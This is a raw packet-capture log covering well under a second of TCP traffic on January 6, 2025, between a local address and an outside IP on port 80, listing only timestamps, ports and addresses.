Jan 6, 2025 07:59:04.668391943 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668392897 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.668401957 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668412924 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668431044 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.668433905 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.668467999 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.669060946 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.669070959 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.669081926 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.669092894 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.669104099 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.669115067 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.669125080 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.669137001 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.669159889 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.669193029 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.707365036 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.707380056 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.707391024 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.707410097 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.707421064 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.707432985 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.707437038 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.707444906 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.707494974 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757168055 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757179022 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757190943 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757247925 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757258892 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757268906 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757272005 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757288933 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757291079 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757302046 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757312059 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757320881 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757322073 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757344961 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757349014 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757356882 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757368088 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757379055 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757379055 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757392883 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757397890 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757420063 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757448912 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757460117 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757478952 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757484913 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757489920 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757498980 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757508993 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757519960 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757527113 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757527113 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757538080 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757549047 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757555962 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757559061 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757570028 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757581949 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757596970 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757606983 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757622957 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757630110 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757641077 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757649899 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757663965 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757689953 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757689953 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757705927 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757709026 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757719994 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757731915 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757742882 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757754087 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757766008 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757791042 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757792950 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757801056 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757812023 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757822990 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757833958 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757837057 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757854939 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757865906 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757930994 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757941961 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757951975 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757963896 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757975101 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.757975101 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.757987022 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758011103 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758023977 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758039951 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758052111 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758060932 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758078098 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758090019 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758100986 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758104086 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758114100 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758124113 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758135080 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758137941 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758147001 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758157969 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758166075 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758167982 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758179903 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758194923 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758200884 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758222103 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758249998 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758260965 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758270979 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758282900 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758295059 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758304119 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758313894 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758316994 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758330107 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758332968 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758343935 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758354902 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758364916 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758369923 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758371115 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758383036 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758394003 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758404016 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758404016 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758435011 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758507967 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758521080 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758533001 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758550882 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758565903 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758573055 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758584023 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758584976 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758594990 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758605957 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758616924 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758627892 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758627892 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758635044 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758641958 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758678913 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758709908 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758722067 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758730888 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758743048 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758754015 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758759975 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758765936 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758776903 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758778095 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758790970 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758799076 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758822918 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758850098 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758861065 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758871078 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758883953 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758897066 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758897066 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758908033 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758909941 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758919954 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.758935928 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.758960962 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.759475946 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.759485960 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.759501934 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.759519100 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.759525061 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.759529114 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.759540081 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.759552002 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.759562969 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.759565115 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.759573936 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.759577990 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.759603977 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.797883987 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.797945023 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.797960043 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.797967911 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.797979116 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.797991037 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.798003912 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.798007965 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.798015118 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.798036098 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.798100948 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.847728014 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.847827911 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.847846031 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.847862005 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.847872972 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.847884893 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.847896099 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.847897053 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.847922087 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.847932100 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.847949028 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.847949028 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.847959995 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.847969055 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.847979069 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.847990036 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.847992897 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848002911 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848021984 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848026037 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848035097 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848045111 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848061085 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848072052 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848072052 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848083019 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848093033 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848104954 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848108053 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848125935 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848129034 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848144054 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848154068 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848165035 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848172903 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848175049 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848186970 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848198891 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848218918 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848227024 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848248959 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848259926 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848269939 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848279953 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848290920 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848294020 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848300934 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848313093 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848315001 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848344088 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848366976 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848377943 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848387003 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848400116 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848409891 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848413944 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848419905 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848422050 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848439932 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848449945 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848476887 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848500013 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848510981 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848520041 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848547935 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848645926 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848658085 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848668098 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848680019 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848690033 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848694086 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848701000 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848711014 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848716021 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848716021 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848721981 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848731041 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848732948 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848743916 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848762035 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848778963 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848817110 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848828077 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848836899 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848849058 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848859072 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848861933 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848869085 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848879099 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848880053 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848896980 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848908901 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848912001 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848918915 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848928928 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848932981 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848939896 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848951101 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848953962 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848962069 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848972082 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848979950 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848982096 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.848999023 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.848999977 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849009991 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849019051 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849026918 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.849030018 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849040031 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849050999 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849061966 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849071026 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.849077940 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849087954 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849091053 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.849096060 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.849097013 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849108934 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849113941 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.849118948 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849129915 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849138021 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.849148035 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849158049 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849164963 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.849174023 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849184990 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849194050 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849198103 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.849205017 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849215984 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849217892 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.849225044 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849236012 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849260092 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.849260092 CET	49706	80	192.168.2.5	147.45.44.131
Jan 6, 2025 07:59:04.849266052 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849276066 CET	80	49706	147.45.44.131	192.168.2.5
Jan 6, 2025 07:59:04.849277020 CET	49706	80	192.168.2.5	147.45.44.131
